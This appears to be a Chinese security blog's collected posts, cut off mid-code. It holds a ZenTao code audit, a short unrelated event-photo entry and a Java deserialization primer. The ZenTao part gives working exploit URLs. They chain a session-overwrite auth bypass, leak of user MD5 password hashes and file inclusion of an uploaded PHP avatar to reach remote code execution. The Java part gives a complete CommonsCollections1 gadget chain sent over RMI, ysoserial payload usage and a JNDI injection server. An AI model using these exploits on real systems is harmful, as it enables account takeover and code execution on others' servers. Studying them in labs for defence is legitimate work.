那么好，我如果想访问剩下的接口，如何让这个函数成功调用，可以想到session覆盖这个东西，我可以调用一个能够覆盖session的方法，让session有user这个key，这个key也可以为空，只要不等于guest就可以。

由于这个程序session设置的写法为$this->session->set(),所以全局搜索带有$this->session->set并且能够可控变量的方法。

看着有好几个，找了这么多，看到了captcha方法可以控制session的key。

那我们看看怎么引用，直接构造url。

禅道的get路由构造是这样的：

index.php?m=misc&f=captcha&sessionVar=user

对应以下路径。

其实在很多情况下会遇到很多静态路由，禅道设置伪静态后会启用静态路由，静态路由的构造和get的不一样，去掉了key并且用横杠连接。

例如: index.php/misc-captcha-user.json

后缀为json的会输出json格式，后缀为html的话会输出html格式。

路由格式在程序中的助手函数中的createLink方法写的很清晰。

访问路由,会出现验证码，有的可能不会，但是不影响覆盖session。

接着我们访问那些需要登录的接口，就访问tutorial模块的wizard方法，这个模块是禅道的新手教程模块，正常来说访问这个接口会跳转到登录页。但是现在访问会空白，说明成功覆盖session。

那好既然成功绕过权限了，但是我并不想着急找rce漏洞，我想看看能不能访问用户列表，看用户列表中能不能查看用户密码。

用户模块里可能会泄露一些用户帐密的信息。todo方法允许将用户查出来，然后直接将对象渲染到页面，如果直接访问该方法，会让重新登陆。

todo方法最后以$this->display();输出到浏览器上，进一步看下这个方法。

继续看parse方法。

如果viewType == 'json'，则渲染json格式。不是的话默认渲染方法，适用于viewType = html的时候。

getViewType这个方法的主要功能是确定当前请求应该使用哪种视图类型，这个就不带单独分析了。

禅道的新手教程模块路由允许fetch一部分模块的方法，就是当跳板，那么我们可以通过这个wizard调到todo方法，从而实现权限绕过访问用户数据。

那我们构造可访问的url：

index.php?m=tutorial&f=wizard&module=user&method=todo¶ms=dXNlcklEPTI=&t=json 其中dXNlcklEPTI=为base64加密，因为todo方法中params传入的是一个base64字符串，解密字符串为userID=2，直接在浏览器中访问。

成功输出MD5password，这个password可以直接登录，抓包替换就行，原因是因为先前段MD5加密密码然后再请求后端，后端检测到密码长度为32位，直接和数据库进行对比登录。
成功获取到密码，那么就能直接登录后台了。

问题来了，我看网上公开的poc都不能用，疑似版本太低缺少高版本可利用的功能漏洞点，看网上有说文件包含的，简单看了下没找到直接利用的poc，主要是也想自己审计审计。全局搜索php相关文件包含函数。

经过漫长的寻找，找到了一个可控变量的方法，里面有include方法。

是一个助手函数，helper::import()看看有没有被引用。

也是经过漫长的寻找，找到了api下的getMethod方法，参数可控，继续看看有没有被引用。

找到了，api下的dedug方法，传入的是base64加密的文件，先看代码。

传入$filePath和extendControl跳到getMethod方法，进入此方法。

先获取$filePath的文件夹，如果传入的是xx/xxx/xxxx/1.php，则输出xx/xxx/xxxx，先debug一下看看是不是这样。debug方法打断点，浏览器访问debug方法接口。

用之前获取的密码登录，然后访问url

http://localhost/www/index.php?m=api&f=debug&filePath=RDpccGhwc3R1ZHlfcHJvXFdXV1xtb2R1bGVccGhwaW5mby5waHA=&action=extendControl

其中RDpccGhwc3R1ZHlfcHJvXFdXV1xtb2R1bGVccGhwaW5mby5waHA=为D:\phpstudy_pro\WWW\module\phpinfo.php

先base64解码，然后因为action=extendControl进入getMethod方法。

$fileName先获取当前文件的文件夹，$className获取当前文件的文件夹的上一层的名称，即为www，下一句代码是一个条件判断，用于检查指定的类www是否存在，如果不存在则尝试进入helper::import方法。

进入到此方法，$file为文件夹绝对路径，但是传入的是文件夹不是文件，导致下一步返回false，退出程序，导致不能文件包含，那怎么办？

将之前的D:\phpstudy_pro\WWW\module\phpinfo.php改成D:\phpstudy_pro\WWW\module\phpinfo.php\123，那么getMethod中$fileName会读取成D:\phpstudy_pro\WWW\module\phpinfo.php，传入到helper::import的$file就是D:\phpstudy_pro\WWW\module\phpinfo.php，phpinfo.php会被判断成文件，然后进行文件包含。

现在$filename变成了D:\phpstudy_pro\WWW\module\phpinfo.php

直接包含成功。那么就该找上传点了，上传任意文件，将命令写入文件上传。

先看头像上传功能。

上传带有php代码的图片。

上传完剪切直接点x关闭，要不然会导致php代码删减。

f12找到该图片路径，但是不是绝对路径，我们再看看程序中有没有泄露绝对路径的功能点。

发现后台中的这两个功能点存在绝对路径泄露。直接拼接刚刚找到的图片路径。

D:/phpstudy_pro/WWW/www/data/upload/1/202504/09181014014632h8/任意名称

可以看到已经出现phpinfo的内容了，放到浏览器再访问下。

http://localhost/www/index.php?m=api&f=debug&filePath=RDovcGhwc3R1ZHlfcHJvL1dXVy93d3cvZGF0YS91cGxvYWQvMS8yMDI1MDQvMDkxODEwMTQwMTQ2MzJoOC8xMQ==&action=extendModel

成功RCE，后续抽空再看看其他功能点和和高版本。

ROG DAY TOUR - 郑州

GowNinng — Sat, 9 Nov 2024 13:22:00 GMT

Live Photo

照片

ROG官方照片

我在中间😁

Java安全-代码审计基础

GowNinng — Sun, 6 Oct 2024 03:12:00 GMT

Java反射

在Java编程中，反射（Reflection）是一种强大的机制，允许程序在运行时检查和操作类、方法、字段等结构。通过反射，开发者可以在编译时不知道具体类的情况下，动态地加载类、调用方法、访问字段等。

什么是反射？

java反射机制的核心是在程序运行的时候动态加载类并获取类的详细信息，从而操作类或对象的属性和方法。

如果你不知道类或对象的具体信息，自然也就没办法在编码阶段使用new来创建对象和使用对象。你就可以使用反射来使用Dog类。

比如在spring中，就有使用反射来动态构造类和属性的使用。

在编译时根本无法知道对象或类可能属于哪些类，程序只能依靠运行时，信息来发现该对象和类的真实信息。

比如：log4j、servlet、ssm框架技术都用到了反射机制。

反射的主要用

途

动态加载类：可以在运行时加载类，而不是在编译时就确定。
访问私有成员：可以访问和修改类的私有字段和方法。
实现通用代码：编写适用于多种类的通用方法，如序列化、依赖注入等。
框架开发：许多框架（如Spring、Hibernate）大量使用反射来实现其功能。

反射的核心类

Java反射主要通过以下几个核心类来实现：

Class：代表一个类或接口。
Constructor：代表类的构造方法。
Method：代表类的方法。
Field：代表类的字段。

代码示例解析

下面我们通过一个具体的代码示例，详细解析Java反射的使用。

示例代码

假设我们有两个类：Main 和 Dog。

package org.example;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
        // 使用全限定类名加载Dog类
        Class c = Class.forName("org.example.Dog");
        
        // 获取Dog类中带有一个String参数的构造方法
        Constructor cs = c.getDeclaredConstructor(String.class);
        
        // 使用构造方法创建Dog类的实例，并传入参数"旺财"
        Object o = cs.newInstance("旺财");
        
        // 获取Dog类中的私有字段"name"
        Field f = c.getDeclaredField("name");
        
        // 设置字段"name"为可访问，即使是私有字段也可以进行操作
        f.setAccessible(true);
        
        // 将实例o中的"name"字段的值修改为"大黄"
        f.set(o, "大黄");
        
        // 获取Dog类中带有一个String参数的say方法
        Method m = c.getDeclaredMethod("say", String.class);
        
        // 调用实例o的say方法，并传入参数"汪汪汪"
        m.invoke(o, "汪汪汪");
        
        // 打印实例o的信息
        System.out.println(o);
    }
}

package org.example;

public class Dog {
    private String name;
    
    public Dog(){}
    
    public Dog(String name){
        this.name = name;
    }
    
    public Dog(int i){}
    
    public void say(){
        System.out.println(name + "嗷嗷叫");
    }
    
    public void say(String message){
        System.out.println(name + ":" + message);
    }
}

代码解析

加载类
```
Class c = Class.forName("org.example.Dog");
```
- Class.forName 方法用于在运行时动态加载类。这里传入的是类的全限定名（包括包名），即 org.example.Dog。
- 返回值 Class 表示加载的类对象。
获取构造方法
```
Constructor cs = c.getDeclaredConstructor(String.class);
```
- getDeclaredConstructor 方法用于获取类中声明的构造方法。这里传入的是构造方法的参数类型 String.class，表示获取带有一个 String 参数的构造方法。
创建类的实例
```
Object o = cs.newInstance("wangcai");
```
- newInstance 方法使用获取到的构造方法创建类的实例，并传入构造方法所需的参数 "wangcai"。
- 返回值 Object 是创建的类的实例。
获取和修改私有字段
```
Field f = c.getDeclaredField("name");
f.setAccessible(true);
f.set(o, "dahuang");
```
- getDeclaredField 方法用于获取类中声明的字段。这里获取的是 name 字段。
- setAccessible(true) 方法设置字段为可访问，即使是私有字段也可以进行操作。
- set 方法用于设置字段的值。这里将实例 o 中的 name 字段值修改为 "dahuang"。
调用方法
```
Method m = c.getDeclaredMethod("say", String.class);
m.invoke(o, "wangwangwang");
```
- getDeclaredMethod 方法用于获取类中声明的方法。这里获取的是带有一个 String 参数的 say 方法。
- invoke 方法用于调用方法。这里调用实例 o 的 say 方法，并传入参数 "wangwangwang"。
打印对象信息
```
System.out.println(o);
```
- 打印实例 o 的信息。这里会调用 Dog 类的 toString() 方法。如果 Dog 类没有重写 toString() 方法，默认会显示对象的内存地址信息。

反射的优点

动态性：反射允许在运行时动态加载类和调用方法，增加了程序的灵活性。
通用性：可以编写适用于多种类的通用方法，如序列化、依赖注入等。
扩展性：通过反射可以实现插件机制，方便程序的扩展和维护。

反射的缺点

性能开销：反射操作比直接调用方法或访问字段要慢，因为涉及到动态解析。
安全性问题：反射可以绕过访问控制，访问和修改私有字段和方法，可能带来安全隐患。
代码可读性差：反射代码通常比直接调用方法或访问字段的代码复杂，可读性和维护性较差。

序列化和反序列化

Java序列化是指把Java对象转换为字节序列的过程便于保存在内存、文件、数据库中。
Java反序列化是指把字节序列恢复为Java对象的过程。

序列化的应用场景

一种是将对象持久化保存到硬盘/数据库。序列化机制并不是Java语言才有的。我们知道Java对象的数据都是存放在内存中的。但内存不具备持久化特性，一旦进程关闭或设备关机，内存中的数据将永远消失。但有些场景却需要将对象持久化保存，例如用户的Session，如果Session缓存清空，用户就需要重新登陆，为了使缓存系统内存中的Session对象一直有效，就需要一种机制将对象从内存中保存到磁盘，并且待系统重启后还能将Session对象恢复到内存中，这个过程就是对象序列化与反序列化的过程，从而避免了用户会话的有效性受系统故障的影响。

此外还有一种场景就是需要将一台主机中的对象通过网络传输给另一台机器，如RPC，RMI，网络传输等场景。

序列化相关协议

对象的反序列化技术实现并不唯一。常见的反序列化协议有:

XML&SOAP
JSON
Protobuf
Java Serializable接口

序列化相关操作

将对象序列化成数据

只有实现了Serializable接口的类的对象才能被序列化为字节序列。Serializable接口是Java提供的序列化接口。Serializable用来标识当前类可以被ObjectOutputStream序列化，以及被ObjectInputStream反序列化。

我们可以调用ObjectOutputStream的writeObject方法序列化一个类并写入硬盘。

先定义一个toString类，让其输出格式为Dog{name='xxx'}，并将Dog实现Serializable类

package org.example;

import java.io.Serializable;

public class Dog implements Serializable {
    private String name;
    Dog(){}
    Dog(String name){
        this.name = name;
    }
    Dog(int i){

    }
    void say(){
        System.out.println(name+"嗷嗷叫");
    }
    void say(String message){
        System.out.println(name+":" + message);
    }

    @Override
    public  String toString(){
        return "Dog{"+
                "name='" + name + '\'' +
                '}';
    }
}

创建Ser.java

package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
        Dog dog = new Dog("旺财");
        serializable("ser.bin",dog);

    }

}

先创建一个Serializable序列化类，通过ObjectOutputStream中的writeObject序列化，并将序列化的内容生成到ser.bin文件中。

运行，生成ser.bin文件。

然后反序列化ser.bin文件，通过ObjectInputStream中的readObject读取ser.bin文件，反序列化输出内容。

package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {
        Dog dog = new Dog("旺财");
//        serializable("ser.bin",dog);

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("ser.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}

类加载器

类加载器是一个负责加载类的对象，用于实现类加载过程中的加载这一步，每个Java类都有一个引用指向加载他的classLoader。

简单来说，类加载器的主要作用是加载Java类的字节码（.class文件）到JVM中（在内存中生成一个代表该类的class对象）。字节码可以是Java源程序（.java文件）经过javac编译得来，也可以是通过工具动态生成或者网络下载得来。

加载器分类

1. 启动类加载器（Bootstrap ClassLoader）

描述

启动类加载器是最顶层的类加载器，通常表示null，并且没有父级。负责加载 Java 核心类库，包括 java.lang 包、java.util 包等位于 JAVA_HOME/jre/lib 目录下的核心类库。

特点

实现方式：由 JVM 使用本地（native）代码实现，不是纯 Java 类。
父加载器：没有父加载器，处于类加载器层次结构的顶端。
可见性：对其他类加载器不可见，无法被直接引用。

示例

// 获取启动类加载器（通常返回 null，因为它是用本地代码实现的）
ClassLoader bootstrapClassLoader = String.class.getClassLoader();
System.out.println(bootstrapClassLoader); // 输出: null

2. 扩展类加载器（Extension ClassLoader）

描述

扩展类加载器负责加载 Java 的扩展类库，这些类库位于 JAVA_HOME/jre/lib/ext 目录下，或者由 java.ext.dirs 系统属性指定的其他目录中的类。

特点

实现方式：由 sun.misc.Launcher$ExtClassLoader 实现，是纯 Java 类。
父加载器：启动类加载器（Bootstrap ClassLoader）。
可见性：可以被应用程序类加载器访问。

示例

// 获取扩展类加载器
ClassLoader extClassLoader = java.util.jar.JarFile.class.getClassLoader();
System.out.println(extClassLoader); // 输出: sun.misc.Launcher$ExtClassLoader@

3. 应用程序类加载器（Application ClassLoader）

描述

面向我们用户的加载器，负责加载应用程序的类路径（classpath）中的类，即用户自定义的类和第三方库。

特点

实现方式：由 sun.misc.Launcher$AppClassLoader 实现，是纯 Java 类。
父加载器：扩展类加载器（Extension ClassLoader）。
可见性：可以被应用程序中的所有类访问。

示例

// 获取应用程序类加载器
ClassLoader appClassLoader = Main.class.getClassLoader(); // 假设当前类为 Main
System.out.println(appClassLoader); // 输出: sun.misc.Launcher$AppClassLoader@

4. 自定义类加载器（Custom ClassLoader）

描述

除了上面的加载器外，用户还可以加入自定义的类加载器来进行拓展，以满足自己的特殊需求。就比如说，我们可以对Java类的字节码（.class文件）进行加密，加载时再利用自定义的加载器对其解密。

特点

实现方式：继承 java.lang.ClassLoader 并重写相关方法，如 findClass。
父加载器：通常是应用程序类加载器，但可以根据需要设置其他加载器作为父加载器。
灵活性：提供更高的灵活性，满足特定应用场景的需求。

示例

public class CustomClassLoader extends ClassLoader {
    @Override
    protected Class findClass(String name) throws ClassNotFoundException {
        // 自定义类的加载逻辑，例如从文件系统或网络中读取类的字节码
        byte[] classData = loadClassData(name);
        if (classData == null) {
            throw new ClassNotFoundException();
        }
        return defineClass(name, classData, 0, classData.length);
    }

    private byte[] loadClassData(String className) {
        // 实现类的字节码加载逻辑
        // 例如，读取文件系统中的 .class 文件
        return null; // 示例中返回 null
    }
}

类加载器的层次结构

Java 类加载器遵循双亲委派模型（Parent Delegation Model），其层次结构如下：

Bootstrap ClassLoader
       ↑
Extension ClassLoader
       ↑
Application ClassLoader
       ↑
Custom ClassLoader（如果有）

双亲委派模型的工作原理

请求加载类时，类加载器首先将加载请求委派给其父加载器。
父加载器尝试加载，如果成功则返回该类；如果失败，则子加载器尝试自己加载。
只有当父加载器无法加载时，子加载器才会尝试加载类。

这种机制确保了类的唯一性和安全性，避免了同一个类被多个类加载器重复加载，同时也防止了用户自定义的恶意替换核心类库中的类。

说白了就是先找找父类有没有这个类，没有的话就加载自己写的类，有的话就加载父类中的这个类。

类加载器案例

根据以上项目新建一个Java类为Person的文件。

package org.example;

public class Person {
    static String a;
    static  int b;
    static {
        System.out.println("静态代码块");
    }
    public Person(){
        System.out.println("无参构造器");

    }
}

将代码以UTF-8的形式编译成class文件。

javac -encoding UTF-8 .\Person.java

创建ClassLoaderTest类，将生成的class文件路径填写到下方，动态运行实例，点击运行。输出文字。

package org.example;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoaderTest {
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
        URLClassLoader cl = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\38123\\Desktop\\javasec\\src\\main\\java\\org\\example\\")});
        Class aClass = cl.loadClass("org.example.Person");
        Object o = aClass.newInstance();
//        System.out.println(Dog.class.getClassLoader());

    }
}

Ysoserial

一款用于生成利用不安全的Java对象反序列化的有效负载的概念验证工具。

项目地址

frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

用法

$ java -jar ysoserial.jar

Y SO SERIAL?

Usage: java -jar ysoserial.jar [payload] '[command]'

Available payload types:

Payload Authors Dependencies

------- ------- ------------

AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2

BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5

C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11

Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0

Clojure @JackOfMostTrades clojure:1.8.0

CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2

CommonsCollections1 @frohoff commons-collections:3.1

CommonsCollections2 @frohoff commons-collections4:4.0

CommonsCollections3 @frohoff commons-collections:3.1

CommonsCollections4 @frohoff commons-collections4:4.0

CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1

CommonsCollections6 @matthias_kaiser commons-collections:3.1

CommonsCollections7 @scristalli, @hanyrax, @EdoardoVignati commons-collections:3.1

FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4

Groovy1 @frohoff groovy:2.3.9

Hibernate1 @mbechler

Hibernate2 @mbechler

JBossInterceptors1 @matthias_kaiser javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21

JRMPClient @mbechler

JRMPListener @mbechler

JSON1 @mbechler json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1

JavassistWeld1 @matthias_kaiser javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21

Jdk7u21 @frohoff

Jython1 @pwntester, @cschneider4711 jython-standalone:2.5.2

MozillaRhino1 @matthias_kaiser js:1.7R2

MozillaRhino2 @_tint0 js:1.7R2

Myfaces1 @mbechler

Myfaces2 @mbechler

ROME @mbechler rome:1.0

Spring1 @frohoff spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE

Spring2 @mbechler spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2

URLDNS @gebl

Vaadin1 @kai_ullrich vaadin-server:7.7.14, vaadin-shared:7.7.14

Wicket1 @jacob-baines wicket-util:6.23.0, slf4j-api:1.6.4

我使用的是GUI版本的yso生成工具，先将cc7链生成一个bin文件放到项目根目录。

然后在pom.xml引用cc3.2.1模块，maven重新加载项目。

还是之前的Ser.java，修改部分代码如下：

package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("cc7.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}

运行代码，成功弹出计算器。

有些cc链要根据所依赖的环境或者库来进行选择。

URLDNS反序列化利用链

分析yso中的URLDNS payload，利用链过程并不复杂。

Gadget Chain:

* HashMap.readObject()

* HashMap.putVal()

* HashMap.hash()

* URL.hashCode()

接下来使用这个链，这个链会向我们指定的目标服务器发送一条DNS请求，达到一个类似于SSRF的效果。

首先先在bp或者dnslog生成一个链接，这里我用bp。将生成的url填入工具然后生成。

还是Ser.java，引用刚才生成的urldns.bin，运行

package org.example;

import java.io.*;

public class Ser {
    public  static  void serializable(String path, Object obj)  throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static void  main(String[] args) throws IOException, ClassNotFoundException {

        ObjectInputStream ois =  new ObjectInputStream(new FileInputStream("urldns.bin"));
        Object o = ois.readObject();
        System.out.println(o);

    }

}

返回查看bp，有请求记录。

等有时间再来进行利用链分析。

反序列化利用中的RMI

概念介绍

RMI的全称是Remote Method Invocation，即远程方法调用。Java的RMI远程调用特指，一个Jvm中的代码可以通过网络实现远程调用另一个Jvm的方法，也可以说RMI就是RPC（远程过程调用协议）在JAVA语言中的实现。

在这个场景下分为三方角色，分别是：

服务端
客户端
注册中心

服务端和客户端持有相同的接口(interface)文件，不同的是，客户端持有的仅仅是接口（也就是函数方法的声明），而服务端拥有该接口的具体实现（implements）。客户端可以在不知道接口实现细节的情况下调用服务端的实现代码。

而注册中心在其中充当什么角色？我们知道，客户端支持有接口不持有实现类，那么问题来了，接口必须被实现后才能被调用。因此，客户端获得的接口方法返回值实际上是通过网络从服务器端获取的。这个时候就需要注册中心登场了。

客户端持有的接口实际上对应了一个"实现类"，它是由Registry通过动态代理生成的，内部负责把方法调用通过网络传递到服务器端，而服务器端也并非我们写的接口实现来解析网络请求数据，而是由注册中心代为解析，然后去调用服务器端上真正的接口实现函数。

演示

创建RMIServer和RMIClient项目，然后各创建一个名为Calc的类，以下是Calc.java的代码。

package org.example; // 定义包名为 org.example

import java.rmi.Remote; // 导入 Remote 接口，用于标识远程方法
import java.rmi.RemoteException; // 导入 RemoteException，用于处理远程调用中的异常

public interface Calc extends Remote { // 定义 Calc 接口，继承 Remote 接口以支持远程调用
    public int add(int a, int b) throws RemoteException; // 定义 add 方法，用于计算两个整数的和，可能抛出 RemoteException
    public void print(Object o) throws RemoteException; // 定义 print 方法，用于打印传入的对象，可能抛出 RemoteException
}

RMIServer中再创建CalcImpl类和RMIServer类。

package org.example; // 定义包名为 org.example

import java.rmi.RemoteException; // 导入 RemoteException，用于处理远程调用中的异常

public class CalcImpl implements Calc { // 定义 CalcImpl 类，实现 Calc 接口
    @Override
    public int add(int a, int b) throws RemoteException { // 实现 add 方法，计算两个整数的和
        int result = a + b; // 计算 a 和 b 的和
        System.out.printf("%d + %d = %d\n", a, b, result); // 打印计算过程和结果
        return result; // 返回计算结果
    }

    @Override
    public void print(Object o) throws RemoteException { // 实现 print 方法，打印传入的对象
        System.out.println(o); // 打印对象
    }
}

package org.example; // 定义包名为 org.example

import java.rmi.RemoteException; // 导入 RemoteException，用于处理远程调用中的异常
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry，用于创建或获取 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry，用于管理 RMI 注册表
import java.rmi.server.UnicastRemoteObject; // 导入 UnicastRemoteObject，用于导出远程对象

public class RMIServer { // 定义 RMIServer 类，作为 RMI 服务器
    public static void main(String[] args) throws RemoteException { // 主方法，程序入口
        Registry registry = LocateRegistry.createRegistry(1099); // 创建 RMI 注册表，监听端口 1099
        CalcImpl calc = new CalcImpl(); // 创建 CalcImpl 实例，实现远程接口
        registry.rebind("calc", UnicastRemoteObject.exportObject(calc, 0)); // 将 calc 对象绑定到注册表，名称为 "calc"，并导出为远程对象
        System.out.println("RMI Server is running..."); // 打印服务器启动信息

        // 保持服务运行
        while (true) { // 无限循环，确保服务器持续运行
            try {
                Thread.sleep(1000); // 线程休眠 1 秒，避免 CPU 占用过高
            } catch (InterruptedException e) { // 捕获线程中断异常
                e.printStackTrace(); // 打印异常信息
                break; // 退出循环
            }
        }
    }
}

接下来在RMIClient项目中创建RMIClient类先测试一下通不通。

运行server，再运行client，成功输出3，能够正常运行。

接下来插入cc1链恶意代码。LazyMap和TransformedMap很相似，都通过这个decorate方法来传入参数，传参类型也一致。并且它的get方法中的factory会去执行transform方法。因为TransformedMap在我电脑上没能成功执行，改换成LazyMap。

LazyMap 的工作原理：LazyMap 会在调用 get(key) 时检查键是否存在：

如果键不存在，则通过 Transformer 动态生成一个值并存入 Map。
键的名称本身不影响攻击逻辑，因为漏洞触发依赖的是 Transformer 链的执行，而不是键的内容。

示例验证：

Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
lazyMap.get("any_string_here");  // 触发攻击链，执行命令
lazyMap.get("123");              // 同样会触发
lazyMap.get(null);               // 可能触发（取决于LazyMap实现）

package org.example; // 定义包名为 org.example

import org.apache.commons.collections.Transformer; // 导入 Transformer 接口，用于定义对象转换逻辑
import org.apache.commons.collections.functors.ChainedTransformer; // 导入 ChainedTransformer，用于将多个 Transformer 串联
import org.apache.commons.collections.functors.ConstantTransformer; // 导入 ConstantTransformer，用于返回固定值
import org.apache.commons.collections.functors.InvokerTransformer; // 导入 InvokerTransformer，用于反射调用方法
import org.apache.commons.collections.map.LazyMap; // 导入 LazyMap，用于延迟计算 Map 的值

import java.io.FileOutputStream; // 导入 FileOutputStream，用于文件输出
import java.io.IOException; // 导入 IOException，用于处理输入输出异常
import java.io.ObjectOutputStream; // 导入 ObjectOutputStream，用于对象序列化
import java.lang.annotation.Target; // 导入 Target 注解，用于反射示例
import java.lang.reflect.Constructor; // 导入 Constructor，用于反射创建对象
import java.lang.reflect.InvocationTargetException; // 导入 InvocationTargetException，用于处理反射调用异常
import java.rmi.NotBoundException; // 导入 NotBoundException，用于处理 RMI 未绑定异常
import java.rmi.registry.LocateRegistry; // 导入 LocateRegistry，用于获取 RMI 注册表
import java.rmi.registry.Registry; // 导入 Registry，用于管理 RMI 注册表
import java.util.HashMap; // 导入 HashMap，用于创建 Map
import java.util.Map; // 导入 Map 接口，用于定义键值对集合

public class RMIClient { // 定义 RMIClient 类，作为 RMI 客户端
    public static void main(String[] args) throws IOException, NotBoundException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { // 主方法，程序入口
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099); // 获取本地 RMI 注册表，端口为 1099
        Calc calc = (Calc) registry.lookup("calc"); // 查找名为 "calc" 的远程对象
        calc.print(cc1()); // 调用远程对象的 print 方法，传入 cc1() 生成的恶意对象
    }

    public static Object cc1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { // 定义 cc1 方法，生成恶意对象
        Transformer[] transformers = new Transformer[] { // 定义 Transformer 数组，用于串联多个转换逻辑
                new ConstantTransformer(Runtime.class), // 返回 Runtime.class
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), // 反射调用 getMethod("getRuntime")
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), // 反射调用 invoke(null, null)
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 反射调用 exec("calc.exe")
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 将多个 Transformer 串联
        Map map = new HashMap<>(); // 创建一个 HashMap
        Map lazyMap = LazyMap.decorate(map, chainedTransformer); // 使用 LazyMap 包装 HashMap，延迟执行转换逻辑
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 获取 AnnotationInvocationHandler 类
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); // 获取其构造函数
        constructor.setAccessible(true); // 设置构造函数可访问
        Object obj = constructor.newInstance(Target.class, lazyMap); // 创建 AnnotationInvocationHandler 实例
        lazyMap.get("foo"); // 触发 LazyMap 的 transform 操作，执行恶意代码
        return obj; // 返回生成的恶意对象
    }
}

运行代码，成功执行命令。

JRMP

JRMP（Java Remote Method Protocol）是 Java RMI（Remote Method Invocation，远程方法调用）的底层通信协议。它用于在 Java 应用程序之间实现远程方法调用，是 RMI 的核心组成部分。走的是TCP/IP协议。JRMP协议也仅用于RMI调用。

如果我们不知道REIserver注册中心的那边的接口情况，或者那边没有接受Object的参数的接口的时候，我们又该如何利用呢？

我们现将之前写好的RMIserver和RMIclient运行起来，用wireshark抓取流量包，发现有JRMP交互，数据包中有java序列化的内容。

既然是反序列化数据我们就会想到是不是通过反序列化将这个序列化数据转换为Java对象呢，既然有这样一个过程，那我们直接将正常的序列化代码替换成恶意的序列化的代码，反序列化后会直接触发恶意的利用链。

先运行RMIserver。

通过工具生成恶意序列化代码。

然后会弹出计算器。

JNDI注入基础

JNDI：简单来说，JNDI（Java Naming Directory Interface）是一组应用接口程序，他为开发人员查找和访问各种资源提供了统一的通用接口，可以用来定位用户、网络、对象和服务等各种资源。比如可以利用JNDI在局域网上定位一台打印机，也可以用JNDI来定位数据库服务或一个JAVA远程对象。JNDI底层支持rmi远程对象，rmi注册的服务可以通过JNDI接口来访问和调用。

JNDI支持多种命名和目录提供程序（Naming Directory Providers），RMI注册表服务提供程序允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散解耦合，RMI客户端直接通过url来定位一个远程对象，而且该RMI服务可以和包含人员，组织和网络资源等信息的企业目录链接在一起。

下面演示下：

我找了个低版本的java1.8，来实现演示，先将恶意类evil进行编译成class文件。

import java.io.IOException;

public class evil {
    public evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

}

编译成功后运行RMIServer

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("evil", "evil", "http://127.0.0.1:8000/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("xxx", referenceWrapper);
